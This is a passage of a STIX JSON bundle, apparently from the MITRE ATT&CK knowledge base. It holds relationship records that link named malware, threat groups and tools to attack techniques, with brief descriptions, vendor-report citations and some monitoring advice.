2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}],"modified":"2018-10-17T00:14:20.652Z","description":"[TINYTYPHON](https://attack.mitre.org/software/S0131) searches through the drive containing the OS, then all drive letters C through to Z, for documents matching certain extensions.(Citation: Forcepoint Monsoon)","relationship_type":"uses","source_ref":"malware--85b39628-204a-48d2-b377-ec368cbcb7ca","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6cfd90ab-8e17-4b78-9bfb-7792b8f51143","type":"relationship","created":"2019-01-29T19:55:48.149Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"},{"description":"Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf","source_name":"Kaspersky Turla Aug 2014"}],"modified":"2019-07-26T16:10:42.686Z","description":"[Epic](https://attack.mitre.org/software/S0091) uses the net use, net session, and netstat commands to gather information on network connections.(Citation: Kaspersky Turla)(Citation: Kaspersky Turla Aug 2014)","relationship_type":"uses","source_ref":"malware--6b62e336-176f-417b-856a-8552dd8c44e1","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6cfee0a9-4f55-42e9-8670-86a0fa3e6280","created":"2023-01-17T22:02:07.976Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Costa AvosLocker May 2022","description":"Costa, F. (2022, May 1). RaaS AvosLocker Incident Response Analysis. Retrieved January 11, 2023.","url":"https://www.linkedin.com/pulse/raas-avoslocker-incident-response-analysis-fl%C3%A1vio-costa?trk=articles_directory"},{"source_name":"Cisco Talos Avos Jun 2022","description":"Venere, G. Neal, C. (2022, June 21). Avos ransomware group expands with new attack arsenal. Retrieved January 11, 2023.","url":"https://blog.talosintelligence.com/avoslocker-new-arsenal/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-15T17:02:37.248Z","description":"During [C0018](https://attack.mitre.org/campaigns/C0018), the threat actors used [AvosLocker](https://attack.mitre.org/software/S1053) ransomware to encrypt files on the compromised network.(Citation: Cisco Talos Avos Jun 2022)(Citation: Costa AvosLocker May 2022)","relationship_type":"uses","source_ref":"campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6d025ceb-85ee-40f4-a15c-121758ea6894","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6d06f2d2-9037-47d6-b374-156a35256097","created":"2024-08-20T18:27:36.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mandiant_apt44_unearthing_sandworm","description":"Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.","url":"https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-03T15:16:52.953Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has used multiple publicly available tools during operations, such as Empire.(Citation: mandiant_apt44_unearthing_sandworm)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6d0fb103-d6f6-4259-a62f-296735020176","created":"2020-03-19T23:01:00.221Z","x_mitre_version":"1.0","external_references":[{"source_name":"Impacket Tools","url":"https://www.secureauth.com/labs/open-source-tools/impacket","description":"SecureAuth. (n.d.). Retrieved January 15, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"SecretsDump and [Mimikatz](https://attack.mitre.org/software/S0002) modules within [Impacket](https://attack.mitre.org/software/S0357) can perform credential dumping to obtain account and password information from NTDS.dit.(Citation: Impacket Tools)","modified":"2022-04-19T21:06:21.709Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6d102ef8-c831-413d-b2cb-392517638b0b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/","description":"Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018.","source_name":"Palo Alto Sofacy 06-2018"},{"source_name":"Unit42 Cannon Nov 2018","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/","description":"Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved November 26, 2018."},{"source_name":"ESET Zebrocy Nov 2018","url":"https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/","description":"ESET. (2018, November 20). Sednit: What’s going on with Zebrocy?. Retrieved February 12, 2019."},{"description":"Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group’s Global Campaign. Retrieved April 19, 2019.","url":"https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/","source_name":"Unit42 Sofacy Dec 2018"},{"source_name":"ESET Zebrocy May 2019","url":"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/","description":"ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."},{"description":"Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.","url":"https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50","source_name":"Accenture SNAKEMACKEREL Nov 2018"}],"modified":"2020-03-17T02:54:27.611Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) uses HTTP for C2.(Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: ESET Zebrocy May 2019)(Citation: Accenture SNAKEMACKEREL Nov 2018)","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6d1074cb-a9eb-4237-b8b2-d823cfa1408b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Dyre June 2015","description":"Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. Retrieved August 23, 2018.","url":"http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf"},{"source_name":"Malwarebytes Dyreza November 2015","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/","description":"hasherezade. (2015, November 4). A Technical Look At Dyreza. Retrieved June 15, 2020."}],"modified":"2020-06-15T20:49:55.661Z","description":"[Dyre](https://attack.mitre.org/software/S0024) decrypts resources needed for targeting the victim.(Citation: Symantec Dyre June 2015)(Citation: Malwarebytes Dyreza November 2015)","relationship_type":"uses","source_ref":"malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6d10e49f-ebd6-47c5-9042-96bd54f7ca79","type":"relationship","created":"2019-05-02T01:07:37.022Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cylance Shaheen Nov 2018","url":"https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517","description":"Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019."}],"modified":"2020-03-20T18:28:30.879Z","description":"[Revenge RAT](https://attack.mitre.org/software/S0379) uses Base64 to encode information sent to the C2 server.(Citation: Cylance Shaheen Nov 2018)","relationship_type":"uses","source_ref":"malware--bdb27a1d-1844-42f1-a0c0-826027ae0326","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6d137f11-8f05-45e8-960c-d64bc14167be","type":"relationship","created":"2020-03-10T18:33:36.474Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-10T18:33:36.474Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","target_ref":"attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6d148641-2f9b-42af-ab5b-eee715ff14f6","created":"2024-08-22T20:50:06.363Z","revoked":false,"external_references":[{"source_name":"Kandji Cuckoo April 2024","description":"Kohler, A. and Lopez, C. (2024, April 30). Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware. Retrieved August 20, 2024.","url":"https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-22T20:50:06.363Z","description":"[Cuckoo Stealer](https://attack.mitre.org/software/S1153) can send information about the targeted system to C2 including captured passwords, OS build, hostname, and username.(Citation: Kandji Cuckoo April 2024)","relationship_type":"uses","source_ref":"malware--457a5e8d-d964-4130-bde3-c07bb41a093e","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6d17cbbf-dd7e-456c-ad9e-e084c95efdaf","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Turla Mosquito Jan 2018","description":"ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"}],"modified":"2020-03-20T01:55:35.001Z","description":"[Mosquito](https://attack.mitre.org/software/S0256) can upload and download files to the victim.(Citation: ESET Turla Mosquito Jan 2018)","relationship_type":"uses","source_ref":"malware--92b55426-109f-4d93-899f-1833ce91ff90","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6d1818b1-0a98-4a1f-9c89-9c44f305e447","created":"2021-04-12T12:44:34.211Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos PoetRAT October 2020","url":"https://blog.talosintelligence.com/2020/10/poetrat-update.html","description":"Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PoetRAT](https://attack.mitre.org/software/S0428) has used HTTP and HTTPs for C2 communications.(Citation: Talos PoetRAT October 2020)","modified":"2022-04-19T01:40:06.994Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6d182b64-121f-43bf-b268-fe1e5874087d","type":"relationship","created":"2020-11-19T18:02:58.408Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR SLOTHFULMEDIA October 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a","description":"DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 – Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}],"modified":"2020-12-16T16:12:01.578Z","description":"[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has hashed a string containing system information prior to exfiltration via POST requests.(Citation: CISA MAR SLOTHFULMEDIA October 2020)","relationship_type":"uses","source_ref":"malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90","target_ref":"attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6d1cd674-0466-4209-b9b5-7ce45ed359d1","created":"2020-11-09T16:28:37.751Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020.","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-11-06T20:13:28.203Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) has been delivered via malicious e-mail attachments.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6d216f28-e5e1-4d73-abd9-b08f370f9d2b","created":"2022-03-14T14:29:12.767Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Ukraine Wipers January 2022","description":"Biasini, N. et al.. (2022, January 21). Ukraine Campaign Delivers Defacement and Wipers, in Continued Escalation. Retrieved March 14, 2022.","url":"https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:42:27.856Z","description":"[WhisperGate](https://attack.mitre.org/software/S0689) can delete tools from a compromised host after execution.(Citation: Cisco Ukraine Wipers January 2022)","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6d279a48-f529-4f5d-be3a-a53529055323","created":"2024-03-13T20:36:47.005Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SCILabs Malteiro 2021","description":"SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T18:25:59.958Z","description":"[Malteiro](https://attack.mitre.org/groups/G1026) collects the machine information, system architecture, the OS version, computer name, and Windows product name.(Citation: SCILabs Malteiro 2021)","relationship_type":"uses","source_ref":"intrusion-set--bf668120-e9a6-4017-a014-bfc0f5232656","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6d28f0c8-b835-4a42-b792-bb7660e47ee7","created":"2024-08-09T18:57:40.869Z","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-09T18:57:40.869Z","description":"[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) can upload collected files to the command-and-control server.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6d2d4146-bf9e-4b75-9a23-052c09e99eeb","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2020-03-17T16:11:44.308Z","description":"[CosmicDuke](https://attack.mitre.org/software/S0050) uses a keylogger.(Citation: F-Secure The Dukes)","relationship_type":"uses","source_ref":"malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6d39de5f-6fbd-43e3-8da8-03a4cbe46656","type":"relationship","created":"2020-05-06T21:01:23.480Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:01:23.480Z","description":"[Attor](https://attack.mitre.org/software/S0438)'s dispatcher can modify the Run registry key.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6d3d48ff-ea37-4626-8148-4111163e95e3","type":"relationship","created":"2020-05-27T15:31:09.535Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"RedCanary Mockingbird May 2020","url":"https://redcanary.com/blog/blue-mockingbird-cryptominer/","description":"Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."}],"modified":"2020-06-25T13:59:09.926Z","description":"[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has used JuicyPotato to abuse the SeImpersonate token privilege to escalate from web application pool accounts to NT Authority\\SYSTEM.(Citation: RedCanary Mockingbird May 2020)","relationship_type":"uses","source_ref":"intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6d3e0454-ffd1-46a7-9fcc-d4c8902707b7","created":"2022-07-26T14:22:32.899Z","x_mitre_version":"0.1","external_references":[{"source_name":"CrowdStrike IceApple May 2022","url":"https://www.crowdstrike.com/wp-content/uploads/2022/05/crowdstrike-iceapple-a-novel-internet-information-services-post-exploitation-framework.pdf","description":"CrowdStrike. (2022, May). ICEAPPLE: A NOVEL INTERNET INFORMATION SERVICES (IIS) POST-EXPLOITATION FRAMEWORK. Retrieved June 27, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[IceApple](https://attack.mitre.org/software/S1022) can collect files, passwords, and other data from a compromised host.(Citation: CrowdStrike IceApple May 2022)","modified":"2022-07-26T14:22:32.899Z","relationship_type":"uses","source_ref":"malware--dd889a55-fb2c-4ec7-8e9f-c399939a49e1","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6d3e3456-40c8-4079-8a40-459d051e354e","created":"2024-02-09T20:02:00.196Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"},{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-09T21:25:27.100Z","description":"(Citation: Mandiant Pulse Secure Zero-Day April 2021)(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"malware--d1008b78-960c-4b36-bdc4-39a734e1e4e3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6d3fee1f-1c19-4ad8-9cd9-e5b00e5b040a","type":"relationship","created":"2019-01-30T13:24:09.077Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.","url":"https://securelist.com/octopus-infested-seas-of-central-asia/88200/","source_name":"Securelist Octopus Oct 2018"},{"source_name":"Security Affairs DustSquad Oct 2018","url":"https://securityaffairs.co/wordpress/77165/apt/russia-linked-apt-dustsquad.html","description":"Paganini, P. (2018, October 16). Russia-linked APT group DustSquad targets diplomatic entities in Central Asia. Retrieved August 24, 2021."},{"source_name":"ESET Nomadic Octopus 2018","url":"https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf","description":"Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021."}],"modified":"2021-10-14T14:09:00.683Z","description":"[Octopus](https://attack.mitre.org/software/S0340) can collect information on the Windows directory and searches for compressed RAR files on the host.(Citation: Securelist Octopus Oct 2018)(Citation: Security Affairs DustSquad Oct 2018)(Citation: ESET Nomadic Octopus 2018)","relationship_type":"uses","source_ref":"malware--e2031fd5-02c2-43d4-85e2-b64f474530c2","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6d45b87e-0cc4-40a7-96cf-f9f654de8065","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor newly executed processes that may attempt to hide artifacts associated with their behaviors to evade detection.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6d49721f-17a2-4f02-a760-f0bfe9c0b759","created":"2023-08-14T14:42:13.660Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Gigamon BADHATCH Jul 2019","description":"Savelesky, K., et al. (2019, July 23). ABADBABE 8BADFOOD: Discovering BADHATCH and a Detailed Look at FIN8's Tooling. Retrieved September 8, 